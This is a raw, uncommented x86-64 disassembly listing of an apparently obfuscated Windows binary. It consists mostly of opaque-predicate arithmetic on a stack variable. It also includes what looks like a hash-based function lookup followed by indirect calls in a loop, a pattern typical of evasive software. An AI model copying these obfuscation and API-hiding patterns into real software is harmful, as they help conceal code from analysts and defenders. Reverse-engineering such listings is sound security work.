mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140054c30
jmp 0x140055161
mov ecx, dword [rsp + 0x30]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
cmp ecx, eax
je 0x140054cd0
mov eax, dword [rsp + 0x30]
mov ecx, esi
or ecx, 1
xor ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140055161
mov ecx, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
add ecx, ecx
or ecx, 3
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140054cb0
jmp 0x140055161
mov ecx, dword [rsp + 0x30]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb
cmp ecx, eax
je 0x140054d7f
movd xmm0, dword [rsp + 0x30]
mov eax, 0x55555556
imul esi
cvtdq2ps xmm0, xmm0
mov eax, edx
shr eax, 0x1f
add edx, eax
mulss xmm0, xmm7
mov eax, 0x2aaaaaab
cvttss2si ecx, xmm0
sub edx, ecx
mov dword [rsp + 0x30], edx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
je 0x140055161
nop word [rax + rax]
movd xmm0, dword [rsp + 0x30]
mov ecx, 7
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
cvttss2si eax, xmm0
sub ecx, eax
mov eax, 0x2aaaaaab
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
jne 0x140054d40
jmp 0x140055161
mov ecx, dword [rsp + 0x30]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xd
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x140054de7
mov edx, dword [rsp + 0x30]
imul ecx, esi
or edx, 3
mov eax, ecx
and eax, 7
xor edx, eax
lea eax, [rdx*4]
xor eax, ecx
mov ecx, 0xffffffff
mov dword [rsp + 0x30], eax
lea r8d, [rcx + 6]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
add eax, ecx
add ecx, edx
mov dword [rsp + 0x30], eax
sub r8, 1
jne 0x140054dd0
jmp 0x140055161
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1d
cmp ecx, eax
je 0x140054e49
mov eax, 0x92492493
mov ecx, esi
imul esi
add edx, esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
mov eax, dword [rsp + 0x30]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov ecx, r15d
nop dword [rax]
mov eax, dword [rsp + 0x30]
add eax, eax
xor eax, ecx
add ecx, 0x1d
mov dword [rsp + 0x30], eax
cmp ecx, 0x57
jl 0x140054e30
jmp 0x140055161
mov ecx, dword [rsp + 0x30]
mov eax, 0x84210843
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x140054e9d
mov eax, dword [rsp + 0x30]
not eax
add eax, 0x1f
add eax, esi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140054e8c
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140055161
mov dword [rsp + 0x30], ecx
jmp 0x140055161
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x25
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x140054eff
mov eax, dword [rsp + 0x30]
add ecx, 0x25
add eax, 0x25
add ecx, esi
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jge 0x140055161
nop dword [rax]
mov eax, dword [rsp + 0x30]
lea eax, [rax*2 - 0x25]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jl 0x140054ee0
jmp 0x140055161
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x140054f83
mov eax, 0x63e7063f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
sub ecx, eax
mov eax, dword [rsp + 0x30]
add ecx, eax
mov eax, 0x63e7063f
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x140054f65
mov eax, dword [rsp + 0x30]
imul edx, eax, 0x29
mov dword [rsp + 0x30], edx
jmp 0x140055161
mov ecx, dword [rsp + 0x30]
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x30], edx
jmp 0x140055161
mov ecx, dword [rsp + 0x30]
mov eax, 0x2fa0be83
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2b
cmp ecx, eax
je 0x140054ff6
mov eax, dword [rsp + 0x30]
mov ecx, esi
add eax, 0x2b
mov dword [rsp + 0x30], eax
mov eax, 0x66666667
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
mov eax, dword [rsp + 0x30]
inc ecx
cdq
idiv ecx
test edx, edx
je 0x140055161
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
mov eax, dword [rsp + 0x30]
imul edx, ecx
add eax, edx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
test edx, edx
jne 0x140054fd2
jmp 0x140055161
mov ecx, dword [rsp + 0x30]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
cmp ecx, eax
je 0x14005506b
mov eax, dword [rsp + 0x30]
mov ecx, esi
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
sub ecx, eax
mov eax, dword [rsp + 0x30]
inc ecx
cdq
idiv ecx
test edx, edx
je 0x140055161
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
sub eax, 0x35
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
test edx, edx
jne 0x140055050
jmp 0x140055161
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
cmp ecx, eax
je 0x140055161
mov ecx, dword [rsp + 0x30]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400550cb
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
inc ecx
jmp 0x1400550f1
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
not r8d
add ecx, r8d
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
je 0x140055161
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
add ecx, ecx
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
sub ecx, eax
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
jne 0x140055120
mov rbx, r15
mov dword [0x140090c30], 1
cmp qword [0x140090c28], rbx
jbe 0x1400551cb
nop word [rax + rax]
mov edx, 0xf
xor ecx, ecx
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.140018170
lea r9, [0x140090c20]
mov qword [rsp + 0x28], r15
lea r8, [0x140059ce0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x140090c20]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x140090c28]
jb 0x140055180
mov dword [rsp + 0x30], 0x7bf480
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140055245
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14005520b
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x1400558a1
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14005523c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140055220
jmp 0x1400558a1
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
mov eax, dword [rsp + 0x30]
je 0x1400552a8
mov ecx, 2
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400558a1
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140055280
jmp 0x1400558a1
mov ecx, dword [rsp + 0x30]
and eax, 0x80000003
je 0x140055324
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400552d2
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x1400558a1
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140055303
dec eax
jmp 0x140055305
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x14005531b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x1400552e0
jmp 0x1400558a1
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x1400553b7
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400558a1
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140055393
inc eax
jmp 0x140055395
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140055370
jmp 0x1400558a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
cmp ecx, eax
je 0x140055410
mov eax, dword [rsp + 0x30]
or esi, 1
xor esi, eax
mov dword [rsp + 0x30], esi
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x1400558a1
nop
mov ecx, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
add ecx, ecx
or ecx, 3
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x1400553f0
jmp 0x1400558a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb
cmp ecx, eax
je 0x1400554bf
movd xmm0, dword [rsp + 0x30]
mov eax, 0x55555556
imul esi
cvtdq2ps xmm0, xmm0
mov eax, edx
shr eax, 0x1f
add edx, eax
mulss xmm0, xmm7
mov eax, 0x2aaaaaab
cvttss2si ecx, xmm0
sub edx, ecx
mov dword [rsp + 0x30], edx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
je 0x1400558a1
nop word [rax + rax]
movd xmm0, dword [rsp + 0x30]
mov ecx, 7
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
cvttss2si eax, xmm0
sub ecx, eax
mov eax, 0x2aaaaaab
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
jne 0x140055480
jmp 0x1400558a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xd
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x140055527
mov edx, dword [rsp + 0x30]
imul ecx, esi
or edx, 3
mov eax, ecx
and eax, 7
xor edx, eax
lea eax, [rdx*4]
xor eax, ecx
mov ecx, 0xffffffff
mov dword [rsp + 0x30], eax
lea r8d, [rcx + 6]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
add eax, ecx
add ecx, edx
mov dword [rsp + 0x30], eax
sub r8, 1
jne 0x140055510
jmp 0x1400558a1
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1d
cmp ecx, eax
je 0x140055589
mov eax, 0x92492493
mov ecx, r15d
imul esi
add edx, esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub esi, eax
mov eax, dword [rsp + 0x30]
imul esi, eax
mov dword [rsp + 0x30], esi
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
add eax, eax
xor eax, ecx
add ecx, 0x1d
mov dword [rsp + 0x30], eax
cmp ecx, 0x57
jl 0x140055570
jmp 0x1400558a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x84210843
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x1400555dd
mov eax, dword [rsp + 0x30]
not eax
add eax, 0x1f
add eax, esi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400555cc
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x1400558a1
mov dword [rsp + 0x30], ecx
jmp 0x1400558a1
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x25
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x14005563f
mov eax, dword [rsp + 0x30]
add ecx, 0x25
add eax, 0x25
add ecx, esi
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jge 0x1400558a1
nop dword [rax]
mov eax, dword [rsp + 0x30]
lea eax, [rax*2 - 0x25]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jl 0x140055620
jmp 0x1400558a1
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x1400556c1
mov eax, 0x63e7063f
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
sub esi, eax
mov eax, dword [rsp + 0x30]
add esi, eax
mov eax, 0x63e7063f
mov dword [rsp + 0x30], esi
mov ecx, dword [rsp + 0x30]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x1400556a3
mov eax, dword [rsp + 0x30]
imul edx, eax, 0x29
mov dword [rsp + 0x30], edx
jmp 0x1400558a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x30], edx
jmp 0x1400558a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x2fa0be83
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2b
cmp ecx, eax
je 0x140055734
mov eax, dword [rsp + 0x30]
add eax, 0x2b
mov dword [rsp + 0x30], eax
mov eax, 0x66666667
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub esi, eax
mov eax, dword [rsp + 0x30]
inc esi
cdq
idiv esi
test edx, edx
je 0x1400558a1
nop
mov eax, dword [rsp + 0x30]
cdq
idiv esi
mov eax, dword [rsp + 0x30]
imul edx, esi
add eax, edx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv esi
test edx, edx
jne 0x140055710
jmp 0x1400558a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
cmp ecx, eax
je 0x1400557ab
mov eax, dword [rsp + 0x30]
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
sub esi, eax
mov eax, dword [rsp + 0x30]
inc esi
cdq
idiv esi
test edx, edx
je 0x1400558a1
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
sub eax, 0x35
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv esi
test edx, edx
jne 0x140055790
jmp 0x1400558a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
cmp ecx, eax
je 0x1400558a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14005580b
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
inc ecx
jmp 0x140055831
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
not r8d
add ecx, r8d
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
je 0x1400558a1
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
add ecx, ecx
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
sub ecx, eax
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
jne 0x140055860
lea rax, [rbp - 0x58]
mov qword [rbp - 0x58], r15
lea rcx, [rbp - 0x58]
mov qword [rbp - 0x50], rax
call fcn.1400593c0
lea rax, [rbp - 0x58]
xor ecx, ecx
mov qword [0x140090370], rax
mov dword [rsp + 0x30], 0x7bf480
call fcn.14001d5c0
mov dword [rsp + 0x30], 0x7bf480
call fcn.1400241e0
mov dword [rsp + 0x30], 0x7bf480
call fcn.140024540
mov dword [rsp + 0x30], 0x7bf480
call fcn.140024850
mov dword [rsp + 0x30], 0x7bf480
call fcn.140026c20
mov eax, dword [0x14008cd88]
add eax, 0xfffffff6
mov dword [rsp + 0x30], 0x7bf480
cmp eax, 1
ja 0x140056d2e
lea rcx, [rbp - 0x68]
call fcn.14004ec90
test eax, eax
je 0x140056d2e
mov dword [rsp + 0x30], 0x7bf480
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400559a5
mov ecx, dword [rsp + 0x30]
mov eax, dword [rbp - 0x68]
add eax, 2
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140055972
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140056021
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14005599c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140055980
jmp 0x140056021
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140055a08
mov ecx, 2
sub ecx, dword [rbp - 0x68]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140056021
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x1400559e0
jmp 0x140056021
mov ecx, dword [rsp + 0x30]
and eax, 0x80000003
je 0x140055a84
mov eax, dword [rbp - 0x68]
add ecx, 2
add eax, 3
imul eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140055a35
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140056021
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140055a63
dec eax
jmp 0x140055a65
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140055a7b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140055a40
jmp 0x140056021
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140055b17
mov eax, dword [rsp + 0x30]
mov ecx, dword [rbp - 0x68]
add eax, 0xb
cdq
add ecx, 0x17
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140056021
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140055af3
inc eax
jmp 0x140055af5
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140055ad0
jmp 0x140056021
mov ecx, dword [rsp + 0x30]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
cmp ecx, eax
je 0x140055b71
mov eax, dword [rsp + 0x30]
mov ecx, dword [rbp - 0x68]
or ecx, 1
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140056021
mov ecx, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
add ecx, ecx
or ecx, 3
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140055b51
jmp 0x140056021
mov ecx, dword [rsp + 0x30]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb
cmp ecx, eax
je 0x140055c1f
movd xmm0, dword [rsp + 0x30]
mov eax, 0x55555556
imul dword [rbp - 0x68]
cvtdq2ps xmm0, xmm0
mov eax, edx
shr eax, 0x1f
add edx, eax
mulss xmm0, xmm7
mov eax, 0x2aaaaaab
cvttss2si ecx, xmm0
sub edx, ecx
mov dword [rsp + 0x30], edx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
je 0x140056021
nop dword [rax + rax]
movd xmm0, dword [rsp + 0x30]
mov ecx, 7
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
cvttss2si eax, xmm0
sub ecx, eax
mov eax, 0x2aaaaaab
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
jne 0x140055be0
jmp 0x140056021
mov ecx, dword [rsp + 0x30]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xd
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x140055c87
imul ecx, dword [rbp - 0x68]
mov edx, dword [rsp + 0x30]
or edx, 3
mov eax, ecx
and eax, 7
xor edx, eax
lea eax, [rdx*4]
xor eax, ecx
mov ecx, 0xffffffff
mov dword [rsp + 0x30], eax
lea r8d, [rcx + 6]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
add eax, ecx
add ecx, edx
mov dword [rsp + 0x30], eax
sub r8, 1
jne 0x140055c70
jmp 0x140056021
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1d
cmp ecx, eax
je 0x140055ce9
mov ecx, dword [rbp - 0x68]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
mov eax, dword [rsp + 0x30]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov ecx, r15d
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
add eax, eax
xor eax, ecx
add ecx, 0x1d
mov dword [rsp + 0x30], eax
cmp ecx, 0x57
jl 0x140055cd0
jmp 0x140056021
mov ecx, dword [rsp + 0x30]
mov eax, 0x84210843
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
cmp ecx, eax
je 0x140055d40
mov edx, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
mov eax, dword [rbp - 0x68]
not ecx
add eax, 0x1f
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140055d2f
dec eax
or eax, 0xfffffffe
